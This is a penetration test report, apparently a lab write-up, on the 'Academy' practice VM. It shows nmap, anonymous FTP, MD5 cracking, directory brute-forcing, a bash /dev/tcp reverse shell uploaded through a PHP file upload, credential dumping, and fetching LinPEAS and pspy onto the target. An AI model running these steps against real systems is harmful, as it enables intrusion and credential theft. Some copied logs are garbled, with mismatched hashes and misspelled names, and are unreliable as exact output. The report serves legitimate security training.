
Penetration Testing Report

Target: Academy Machine

Assessment Type: Internal Penetration Test

Tester: Sanchit Mathur

Date: 20-12-2025

Severity Model: CVSS v3.1 (Qualitative)

1. Executive Summary

This penetration test was conducted against the Academy target machine to identify security weaknesses that could allow an attacker to gain unauthorized access. The assessment revealed multiple critical vulnerabilities, including anonymous FTP access, sensitive information disclosure, hardcoded credentials, insecure file upload functionality, and insufficient privilege hardening.

The attack chain resulted in remote code execution and reverse shell access, followed by local privilege escalation enumeration using automated and manual techniques. These weaknesses could allow an attacker to fully compromise the system, leading to data exposure, service disruption, and potential lateral movement within the internal network.

Overall Risk Level: Critical

2. Scope & Methodology

2.1 Scope

- Target IP: 192.168.1.X
- Operating Environment: Linux-based web server
- Testing Type: Black-box internal network testing

2.2 Methodology

The assessment followed a standard penetration testing lifecycle:

1. Reconnaissance
2. Scanning & Enumeration
3. Exploitation
4. Post-Exploitation

5. Privilege Escalation Enumeration
6. Reporting

3. Tools Used

Tool	Purpose
Nmap	Network scanning & service detection
FTP	File enumeration
DirBuster	Directory brute forcing
FFUF	Fast web fuzzing
Bash Reverse Shell	Remote access
LinPEAS	Privilege escalation enumeration
pspy	Monitoring privileged background processes

4. Reconnaissance & Scanning

4.1 Network Scan

The following Nmap command was used for aggressive service detection:

```
nmap -A -p- -T4 192.168.1.X
```

Explanation:

- -A enables OS detection, version detection, and default scripts
- -p- scans all 65535 ports
- -T4 uses an aggressive timing template

Open Ports Identified

Port Service Status

21	FTP	Open
22	SSH	Open
80	HTTP	Open

```

(hehe@kali)~$ nmap -A -p- -T4 192.168.1.9
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-16 14:50 IST
Nmap scan report for 192.168.1.9
Host is up (0.00040s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to ::ffff:192.168.1.4
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 2
|   vsFTPD 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_rw-r--r--  1 1000      1000      776 May 30 2021 note.txt
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 c7:44:58:86:90:fd:e4:de:5b:0d:bf:07:8d:05:5d:d7 (RSA)
|   256 78:ec:47:0f:0f:53:aa:a6:05:48:84:80:94:76:a6:23 (ECDSA)
|_  256 99:9c:39:11:dd:35:53:a0:29:11:20:c7:f8:bf:71:a4 (ED25519)
80/tcp    open  http      Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 08:00:27:C7:72:73 (PCS Systemtechnik/Oracle VirtualBox virtual N
IC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrot
ik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7
.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   0.40 ms  192.168.1.9

OS and Service detection performed. Please report any incorrect results at ht
tps://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.93 seconds

```

5. Vulnerability Findings & Exploitation

5.1 Anonymous FTP Access

Severity: Critical

Description:

The FTP service running on port 21 allowed anonymous authentication, enabling unauthenticated users to access files on the server.

Impact:

An attacker could retrieve sensitive files containing credentials or internal information, providing an initial foothold for further exploitation.

Exploitation:

ftp 192.168.1.X

Username: anonymous

Password: anonymous

A file named note.txt was discovered and downloaded.

```
(hehe@kali)-[~]
$ ftp 192.168.1.9
Connected to 192.168.1.9.
220 (vsFTPd 3.0.3)
Name (192.168.1.9:hehe): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||7633|)
150 Here comes the directory listing.
-rw-r--r--    1 1000    1000          776 May 30  2021 note.txt
226 Directory send OK.
ftp> get note.ts=xt
local: note.ts=xt remote: note.ts=xt
229 Entering Extended Passive Mode (|||5574|)
550 Failed to open file.
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||18843|)
150 Opening BINARY mode data connection for note.txt (776 bytes).
100% |*****| 776 67.32 KiB/s 00:00 ETA
226 Transfer complete.
776 bytes received in 00:00 (61.90 KiB/s)
ftp> exit
421 Timeout.
```

```
(hehe@kali)-[~]
$ cat note.txt
Hello Heath !
Grimmie has setup the test website for the new academy.
I told him not to use the same password everywhere, he will change it ASAP.

I couldn't create a user via the admin panel, so instead I inserted directly
into the database with the following command:

INSERT INTO `students` (`StudentRegno`, `studentPhoto`, `password`, `studentName`,
`pincode`, `session`, `department`, `semester`, `cgpa`, `creationdate`,
`updatationDate`) VALUES
('10201321', '', 'cd73502828457d15655bbd7a63fb0bc8', 'Rum Ham', '777777', '',
'', '', '7.60', '2021-05-29 14:36:56', '');

The StudentRegno number is what you use for login.

Le me know what you think of this open-source project, it's from 2020 so it s
hould be secure... right ?
We can always adapt it to our needs.
```

5.2 Sensitive Information Disclosure

Severity: Critical

Description:

The note.txt file contained student-related credentials and internal information that assisted in identifying valid application entry points.

Impact:

This information could be leveraged to gain unauthorized access to restricted web application functionality.

```
(haha@kali)~$ hashcat -m 0 hashcat.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, L
LVM 18.1.0, SLEEP, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #1: cpu-haswell-AMD Ryzen 7 5800HS with Radeon Graphics, 1438/2941 M
B (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Initializing backend runtime for device #1. Please be patient...

Host memory required for this attack: 0 MB

Dictionary cache building /usr/share/wordlists/rockyou.txt: 33553434 bytes (2
Dictionary cache building /usr/share/wordlists/rockyou.txt: 67106869 bytes (4
Dictionary cache building /usr/share/wordlists/rockyou.txt: 100660302 bytes (
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime ...: 2 secs

cd73502828457d15655bbd7a63fb0bc8:student

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 0 (MD5)
Hash.Target.....: cd73502828457d15655bbd7a63fb0bc8
Time.Started....: Tue Dec 16 15:30:46 2025 (1 sec)
Time.Estimated...: Tue Dec 16 15:30:47 2025 (0 secs)
```

```
Dictionary cache building /usr/share/wordlists/rockyou.txt: 33553434 bytes (2)
Dictionary cache building /usr/share/wordlists/rockyou.txt: 67186869 bytes (4)
Dictionary cache building /usr/share/wordlists/rockyou.txt: 100688382 bytes (
Dictionary cache built:
* Filename ..: /usr/share/wordlists/rockyou.txt
* Passwords..: 14344382
* Bytes.....: 139921587
* Keyspace ..: 14344385
* Runtime ...: 2 secs

cd73582828457d15655bbd7a63fb8bc8:student

Session.....: hashcat
Status.....: Cracked
Hash-Mode.....: 0 (MD5)
Hash-Target.....: cd73582828457d15655bbd7a63fb8bc8
Time-Started...: Tue Dec 10 15:38:46 2025 (1 sec)
Time-Estimated...: Tue Dec 10 15:38:47 2025 (0 secs)
Kernel-Feature...: Pure Kernel
Guess-Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess-Queue.....: 1/1 (100.00%)
Speed.#1.....: 11115 H/s (0.24s) B Accel:256 Loops:1 Thr1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 2848/14344385 (0.01%)
Rejected.....: 0/2848 (0.00%)
Restore-Point...: 1824/14344385 (0.01%)
Restore-Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate-Engine: Device Generator
Candidates.#1...: kucing -> lovers1
Hardware-Mon.#1...: Util: 28%

Started: Tue Dec 10 15:29:47 2025
Stopped: Tue Dec 10 15:38:49 2025
```

5.3 Directory Enumeration

Severity: High

Description:

Hidden directories and administrative paths were discovered using directory brute-forcing techniques.

Tools Used:

dirb http://192.168.1.X/

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u

http://192.168.1.X/FUZZ

An administrative panel was identified during enumeration.

Impact:

Exposed administrative endpoints increase the attack surface and may lead to unauthorized access if not properly secured.

```
(hehe@kali)-[~]  
$ dirb hrrp://192.168.1.9
```

```
DIRB v2.22  
By The Dark Raver
```

```
(!) FATAL: Invalid URL format: hrrp://192.168.1.9/  
(Use: "http://host/" or "https://host/" for SSL)
```

```
(hehe@kali)-[~]  
$ dirb http://192.168.1.9
```

```
DIRB v2.22  
By The Dark Raver
```

```
START_TIME: Tue Dec 16 15:34:21 2025  
URL_BASE: http://192.168.1.9/  
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
```

```
GENERATED WORDS: 4612
```

```
— Scanning URL: http://192.168.1.9/ —
```

```
+ http://192.168.1.9/index.html (CODE:200|SIZE:10701)
```

```
==> DIRECTORY: http://192.168.1.9/phpmyadmin/
```

```
+ http://192.168.1.9/server-status (CODE:403|SIZE:276)
```

```
— Entering directory: http://192.168.1.9/phpmyadmin/ —
```

```
+ http://192.168.1.9/phpmyadmin/ChangeLog (CODE:200|SIZE:17598)
```

```
==> DIRECTORY: http://192.168.1.9/phpmyadmin/doc/
```

```
==> DIRECTORY: http://192.168.1.9/phpmyadmin/examples/
```

```
+ http://192.168.1.9/phpmyadmin/favicon.ico (CODE:200|SIZE:22486)
```

```
+ http://192.168.1.9/phpmyadmin/index.php (CODE:200|SIZE:14555)
```

```
==> DIRECTORY: http://192.168.1.9/phpmyadmin/js/
```

```
+ http://192.168.1.9/phpmyadmin/libraries (CODE:403|SIZE:276)
```

```
+ http://192.168.1.9/phpmyadmin/LICENSE (CODE:200|SIZE:18092)
```

```
==> DIRECTORY: http://192.168.1.9/phpmyadmin/locale/
```

```
+ http://192.168.1.9/phpmyadmin/phpinfo.php (CODE:200|SIZE:14557)
```

```
+ http://192.168.1.9/phpmyadmin/README (CODE:200|SIZE:1520)
```

```
+ http://192.168.1.9/phpmyadmin/robots.txt (CODE:200|SIZE:26)
```

```
+ http://192.168.1.9/phpmyadmin/setup (CODE:401|SIZE:458)
```

```
==> DIRECTORY: http://192.168.1.9/phpmyadmin/sql/
```

```
+ http://192.168.1.9/phpmyadmin/templates (CODE:403|SIZE:276)
```


Severity: Critical

Description:

The web application allowed unrestricted file uploads within the images section, permitting attackers to upload executable PHP files.

Exploitation:

A malicious PHP reverse shell (reverseshell.php) was uploaded to the server.

Reverse Shell Payload:

```
bash -i >& /dev/tcp/192.168.1.4/8081 0>&1
```

Listener Setup:

```
nc -lvp 8081
```

Result:

A reverse shell was successfully obtained as the web server user, allowing remote command execution on the target system.

```
Regexes to search for API keys aren't activated, use param '-r'

$ $ cat passwd
cat: passwd: No such file or directory
$ cat password
cat: password: No such file or directory
$ clear
TERM environment variable not set.
$ cat /var/www/html/academy/admin/includes/config.php
<?php
$mysql_hostname = 'localhost';
$mysql_user = 'grimmie';
$mysql_password = 'My V3ry53cur3 P4ss';
$mysql_database = 'onlinecourse';
$dbd = mysqli_connect($mysql_hostname, $mysql_user, $mysql_password, $mysql_database) or die('Could not connect database');

?>
$ cat/etc/passwd
/bin/sh: 10: cat/etc/passwd: not found
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/ssh:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:./usr/sbin/nologin
mysql:x:106:113:MySQL Server,,:/nonexistent:/bin/false
```

6. Post-Exploitation

6.1 System Enumeration Using LinPEAS

After obtaining shell access, LinPEAS was executed to identify potential privilege escalation vectors.

```
chmod +x linpeas.sh
```

```
./linpeas.sh
```

Key Findings:

- Misconfigured file permissions
- Potential SUID binaries
- Environment variable weaknesses

```
(h0h0@kali)-[~]
$ nc -nvip 1234
[*] listening on [any] 1234 ...
connect to [192.168.1.4] from (UNKNOWN) [192.168.1.9] 35004
Linux academy 4.19.0-18-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
16:51:55 up 1:33, 1 user, load average: 0.00, 0.00, 0.00
USER      TTY      FROM          LOGIN@   IDLE   XCPU   PCPU   WHAT
root     tty1    -             15:31    1:12m  0.01s  0.00s  -bash
uid=33(wmw-data) gid=33(wmw-data) groups=33(wmw-data)
/bin/sh: 0: can't access tty: job control turned off
$ whoami
mw-data
$ ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ sudo su
/bin/sh: 3: sudo: not found
$ locate sudo
/bin/sh: 4: locate: not found
$ cd /tmp
/bin/sh: 5: cd: can't cd to /tmp
$ cd /tmp
$ pwd
/tmp
$ wget http://192.168.1.4/linpeas.sh
```

```

$ cd /tmp
bin/sh: 5: cd: can't cd to /tmp
$ cd /tmp
$ pwd
/tmp
$ wget http://192.168.1.4/linpeas.sh
--2025-12-18 17:39:18-- http://192.168.1.4/linpeas.sh
Connecting to 192.168.1.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 975444 (953K) [text/x-sh]
Saving to: 'linpeas.sh'

 0K ..... 5% 27.2M 0s
 50K ..... 10% 25.5M 0s
100K ..... 15% 44.0M 0s
150K ..... 20% 45.6M 0s
200K ..... 26% 37.7M 0s
250K ..... 31% 30.7M 0s
300K ..... 36% 51.4M 0s
350K ..... 41% 43.4M 0s
400K ..... 47% 25.6M 0s
450K ..... 52% 40.8M 0s
500K ..... 57% 184M 0s
550K ..... 62% 129M 0s
600K ..... 68% 154M 0s
650K ..... 73% 45.2M 0s
700K ..... 78% 48.3M 0s
750K ..... 83% 51.7M 0s
800K ..... 89% 49.4M 0s
850K ..... 94% 54.7M 0s
900K ..... 99% 139M 0s
950K .. 100% 278M=0.02s

2025-12-18 17:39:18 (46.1 MB/s) - 'linpeas.sh' saved [975444/975444]

$ chmod +x linpeas.sh
$ ./linpeas.sh

```



```

  _____
 |                                     |
 |               Do you like PEAS?   |
 |                                     |
 | Learn Cloud Hacking : https://taming.hacktricks.xyz |
 | Follow on Twitter   : @hacktricks_live |
 | Respect on NTB      : SirBuculi       |
 |                                     |
 |               Thank you!           |
 |_____
```

LinPEAS-ng by carlospolop

ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.

Linux PrivChecker Checklist: <https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html>

LEGEND:

- RED/YELLOW:** 95% a PE vector
- RED:** You should take a look into it
- LightCyan:** Users with console
- Blue:** Users without console & mounted devs
- Green:** Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
- LightMagenta:** Your username

Starting LinPEAS. Caching Writable Folders...

Basic information

OS: Linux version 4.19.0-16-amd64 (debian-kernel@lists.debian.org) (gcc version 8.3.0 (Debian 8.3.0-6)) #1 SMP Debian 4.19.181-1 (2021-03-19)

User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Hostname: academy

[+] /usr/bin/ping is available for network discovery (LinPEAS can discover hosts, learn more with -h)

[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (LinPEAS can discover hosts, scan ports, and forward ports. Learn more with -h)

[+] /usr/bin/nc is available for network discovery & port scanning (LinPEAS can discover hosts and scan ports, learn more with -h)

```

Searching passwords in history files
Binary file /usr/share/phpmyadmin/js/vendor/openlayers/theme/default/img/navigation_history.png matches

Searching passwords in config PHP files
/usr/share/phpmyadmin/config.inc.php:$cfg['Servers'][$i]['AllowNoPassword'] = false;
/usr/share/phpmyadmin/config.sample.inc.php:$cfg['Servers'][$i]['AllowNoPassword'] = false;
/usr/share/phpmyadmin/libraries/config.default.php:$cfg['Servers'][$i]['AllowNoPassword'] = false;
/usr/share/phpmyadmin/libraries/config.default.php:$cfg['ShowChgPassword'] = true;
/var/www/html/academy/admin/includes/config.php:$mysql_password = "My_V3ryS3cur3_P4ss";
/var/www/html/academy/includes/config.php:$mysql_password = "My_V3ryS3cur3_P4ss";

Searching «password» or «credential» files in home (limit 70)
/etc/pam.d/common-password
/usr/bin/systemd-ask-password
/usr/bin/systemd-tty-ask-password-agent
/usr/lib/grub/i386-pc/legacy_password_test.mod
/usr/lib/grub/i386-pc/password.mod
/usr/lib/grub/i386-pc/password_pbkdf2.mod
/usr/lib/systemd/system/multi-user.target.wants/systemd-ask-password-wall.path
/usr/lib/systemd/system/sysinit.target.wants/systemd-ask-password-console.path
/usr/lib/systemd/system/systemd-ask-password-console.path
/usr/lib/systemd/system/systemd-ask-password-console.service
/usr/lib/systemd/system/systemd-ask-password-wall.path
/usr/lib/systemd/system/systemd-ask-password-wall.service
#)There are more creds/passwds files in the previous parent folder

/usr/lib/x86_64-linux-gnu/mariadb19/plugin/mysql_clear_password.so
/usr/lib/x86_64-linux-gnu/mariadb19/plugin/simple_password_check.so
/usr/share/nan/nan1/systemd-ask-password-1.gz
/usr/share/nan/nan1/systemd-tty-ask-password-agent-1.gz
/usr/share/nan/nan7/cr0d00t1s.7.gz
/usr/share/nan/nan8/systemd-ask-password-console.path.8.gz
/usr/share/nan/nan8/systemd-ask-password-console.service.8.gz
/usr/share/nan/nan8/systemd-ask-password-wall.path.8.gz
/usr/share/nan/nan8/systemd-ask-password-wall.service.8.gz
#)There are more creds/passwds files in the previous parent folder

/usr/share/pam/common-password.ed5sums

```

6.2 Privilege Escalation Monitoring Using pspy

The pspy tool was executed to monitor real-time system processes and scheduled tasks running with elevated privileges.

The tool identified multiple processes and cron jobs executing as the root user, indicating possible privilege escalation vectors such as writable scripts, insecure PATH usage, or misconfigured scheduled tasks.

Although full root access was not achieved during testing, the findings indicate insufficient privilege hardening and potential escalation paths under different conditions.

```

--(hohu@kali)-[~]
_ $ ssh grimmie@192.168.1.9
The authenticity of host '192.168.1.9 (192.168.1.9)' can't be established.
ED25519 key fingerprint is SHA256:e0KtTakhvXysMvPHOT89+/4WgSWKZu10BtPgt08.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes/
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.1.9' (ED25519) to the list of known hosts.
grimmie@192.168.1.9's password:
linux academy 4.19.0-16-amd64 #1 SMP Debian 4.19.161-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
last login: Sun May 30 03:21:39 2021 from 192.168.10.31
grimmie@academy:~$ history
1  history
grimmie@academy:~$ sudo su
bash: sudo: command not found
grimmie@academy:~$ sudo -l
bash: sudo: command not found
grimmie@academy:~$ which bash
/usr/bin/bash
grimmie@academy:~$ cd /home/grimmie/
grimmie@academy:~$ ls
backup.sh
grimmie@academy:~$ cat backup.sh
#!/bin/bash
rm /tmp/backup.zip
zip -r /tmp/backup.zip /var/www/html/academy/includes
chmod 700 /tmp/backup.zip
grimmie@academy:~$ cd /tmp
bash: cd /tmp: No such file or directory
grimmie@academy:~$ ls
backup.sh
grimmie@academy:~$ cat backup.sh
#!/bin/bash
rm /tmp/backup.zip
zip -r /tmp/backup.zip /var/www/html/academy/includes
chmod 700 /tmp/backup.zip
grimmie@academy:~$ ps
  PID TTY          TIME CMD
 1549 pts/0    00:00:00 bash
 1856 pts/0    00:00:00 ps
grimmie@academy:~$ cd /tmp
grimmie@academy:/tmp$ ls
backup.zip
systemd-private-97b01b0df308460ebc6372a5974c1a23-systemd-timesyncd.service-A59aQH
systemd-private-97b01b0df308460ebc6372a5974c1a23-apache2.service-119egP
grimmie@academy:/tmp$ wget http://192.168.1.4/pspy64
--2025-12-18 18:20:28--  http://192.168.1.4/pspy64
Connecting to 192.168.1.4:80 ... failed: Connection refused.

```

```

rm /tmp/backup.zip
zip -r /tmp/backup.zip /var/www/html/academy/includes
chmod 700 /tmp/backup.zip
grimmie@academy:~$ ps
  PID TTY          TIME CMD
 1549 pts/0    00:00:00 bash
 1856 pts/0    00:00:00 ps
grimmie@academy:~$ cd /tmp
grimmie@academy:/tmp$ ls
backup.zip
systemd-private-97b01b0df308460ebc6372a5974c1a23-systemd-timesyncd.service-A59aQH
systemd-private-97b01b0df308460ebc6372a5974c1a23-apache2.service-119egP
grimmie@academy:/tmp$ wget http://192.168.1.4/pspy64
--2025-12-18 18:20:28--  http://192.168.1.4/pspy64
Connecting to 192.168.1.4:80 ... failed: Connection refused.
grimmie@academy:/tmp$ wget http://192.168.1.4/pspy64
--2025-12-18 18:21:27--  http://192.168.1.4/pspy64
Connecting to 192.168.1.4:80 ... failed: Connection refused.
grimmie@academy:/tmp$ wget http://192.168.1.4/pspy64
--2025-12-18 18:24:12--  http://192.168.1.4/pspy64
Connecting to 192.168.1.4:80 ... connected.
HTTP request sent, awaiting response... 404 File not found
2025-12-18 18:24:12 ERROR 404: File not found.

grimmie@academy:/tmp$ wget http://192.168.1.4/pspy64
--2025-12-18 18:25:49--  http://192.168.1.4/pspy64
Connecting to 192.168.1.4:80 ... connected.
HTTP request sent, awaiting response... 404 File not found
2025-12-18 18:25:49 ERROR 404: File not found.

grimmie@academy:/tmp$ wget http://192.168.1.4/pspy64
--2025-12-18 18:26:10--  http://192.168.1.4/pspy64
Connecting to 192.168.1.4:80 ... connected.
HTTP request sent, awaiting response... 404 File not found
2025-12-18 18:26:10 ERROR 404: File not found.

grimmie@academy:/tmp$ ls
backup.zip
systemd-private-97b01b0df308460ebc6372a5974c1a23-systemd-timesyncd.service-A59aQH
systemd-private-97b01b0df308460ebc6372a5974c1a23-apache2.service-119egP
grimmie@academy:/tmp$ wget http://192.168.1.4/pspy64
--2025-12-18 18:28:14--  http://192.168.1.4/pspy64
Connecting to 192.168.1.4:80 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'

pspy64                                100%[=====]  2.90M  --.-KB/s  in 0.02s

2025-12-18 18:28:14 (129 MB/s) - 'pspy64' saved [3104768/3104768]

grimmie@academy:/tmp$ ls
backup.zip  systemd-private-97b01b0df308460ebc6372a5974c1a23-systemd-timesyncd.service-A59aQH
pspy64      systemd-private-97b01b0df308460ebc6372a5974c1a23-systemd-timesyncd.service-A59aQH
grimmie@academy:/tmp$ chmod +x pspy64
grimmie@academy:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA1: f9e6a1590ea3322b9faa093d8dc84e19507977a5d

```



```

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Matching dir
ectories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup ...
done
2025/12/18 18:28:46 CMD: UID=0 PID=11292 | /bin/sh -i
2025/12/18 18:28:46 CMD: UID=33 PID=11295 | sh -c uname -a; w; id; /bin/sh -i
2025/12/18 18:28:46 CMD: UID=33 PID=11291 | /usr/sbin/apache2 -k start
2025/12/18 18:28:46 CMD: UID=33 PID=10499 | /usr/sbin/apache2 -k start
2025/12/18 18:28:46 CMD: UID=33 PID=10492 | /usr/sbin/apache2 -k start
2025/12/18 18:28:46 CMD: UID=33 PID=10491 | /usr/sbin/apache2 -k start
2025/12/18 18:28:46 CMD: UID=33 PID=10498 | /usr/sbin/apache2 -k start
2025/12/18 18:28:46 CMD: UID=33 PID=10489 | /usr/sbin/apache2 -k start
2025/12/18 18:28:46 CMD: UID=33 PID=10487 | /usr/sbin/apache2 -k start
2025/12/18 18:28:46 CMD: UID=33 PID=10475 | /usr/sbin/apache2 -k start
2025/12/18 18:28:46 CMD: UID=0 PID=10770 | dhclient
2025/12/18 18:28:46 CMD: UID=0 PID=10755 | dhclient
2025/12/18 18:28:46 CMD: UID=0 PID=10700 | -bash
2025/12/18 18:28:46 CMD: UID=0 PID=10702 | (sd -pan)
2025/12/18 18:28:46 CMD: UID=0 PID=10701 | /lib/systemd/systemd --user
2025/12/18 18:28:46 CMD: UID=0 PID=9574 |
2025/12/18 18:28:46 CMD: UID=33 PID=4374 | /usr/sbin/apache2 -k start
2025/12/18 18:28:46 CMD: UID=33 PID=4371 | /usr/sbin/apache2 -k start
2025/12/18 18:28:46 CMD: UID=33 PID=4370 | /usr/sbin/apache2 -k start
2025/12/18 18:28:46 CMD: UID=100 PID=4367 | /usr/sbin/mysqld
2025/12/18 18:28:46 CMD: UID=0 PID=4360 | /usr/sbin/apache2 -k start
2025/12/18 18:28:46 CMD: UID=0 PID=4303 | /usr/sbin/rsync -o
2025/12/18 18:28:46 CMD: UID=0 PID=4290 | /bin/lsblk -p -
2025/12/18 18:28:46 CMD: UID=0 PID=4286 | /usr/sbin/rsyncd /etc/rsyncd.conf
2025/12/18 18:28:46 CMD: UID=1000 PID=1500 | /pspy44
2025/12/18 18:28:46 CMD: UID=1000 PID=1500 | -bash
2025/12/18 18:28:46 CMD: UID=1000 PID=1500 | sshd: grimmie@pts/0
2025/12/18 18:28:46 CMD: UID=1000 PID=1500 | (sd -pan)
2025/12/18 18:28:46 CMD: UID=1000 PID=1500 | /lib/systemd/systemd --user
2025/12/18 18:28:46 CMD: UID=0 PID=1521 | sshd: grimmie [priv]
2025/12/18 18:28:46 CMD: UID=0 PID=4066 | /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -i -df /var/lib/dhcp/
dhclient.eth0.leases eth0
2025/12/18 18:28:46 CMD: UID=0 PID=290 | /usr/sbin/cron -f
2025/12/18 18:28:46 CMD: UID=0 PID=387 | /lib/systemd/systemd-logind
2025/12/18 18:28:46 CMD: UID=104 PID=385 | /usr/bin/dmcc-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2025/12/18 18:28:46 CMD: UID=0 PID=384 | /usr/sbin/rsyslogd -n -DNONE
2025/12/18 18:28:46 CMD: UID=101 PID=364 | /lib/systemd/systemd-timesyncd

```

```

grimmie@academy:/tmp$ ls
backup.zip  systemd-private-97b81b0df38b4d0ebc6372a5974c1a23-apache2.service-17WegP
pspy44     systemd-private-97b81b0df38b4d0ebc6372a5974c1a23-systemd-timesyncd.service-ASBqM
grimmie@academy:/tmp$ nano backup.sh
grimmie@academy:/tmp$ nano backup.sh
grimmie@academy:/tmp$ ./backup.sh
-bash: ./backup.sh: Permission denied
grimmie@academy:/tmp$ nano backup.sh
grimmie@academy:/tmp$ nano backup.sh
grimmie@academy:/tmp$ nano backup.sh
grimmie@academy:/tmp$ nano backup.sh
grimmie@academy:/tmp$ crontab -e backup.sh
crontab: usage error: only one operation permitted
usage: crontab [-u user] file
        crontab [-u user] [-i] [-e] [-l] [-r]
        (default operation is replace, per 1003.2)
        -e      (edit user's crontab)
        -l      (list user's crontab)
        -r      (delete user's crontab)
        -i      (prompt before deleting user's crontab)
grimmie@academy:/tmp$ crontab -u backup.sh
crontab: user 'backup.sh' unknown
grimmie@academy:/tmp$ crontab -e backup.sh
crontab: usage error: no arguments permitted after this option
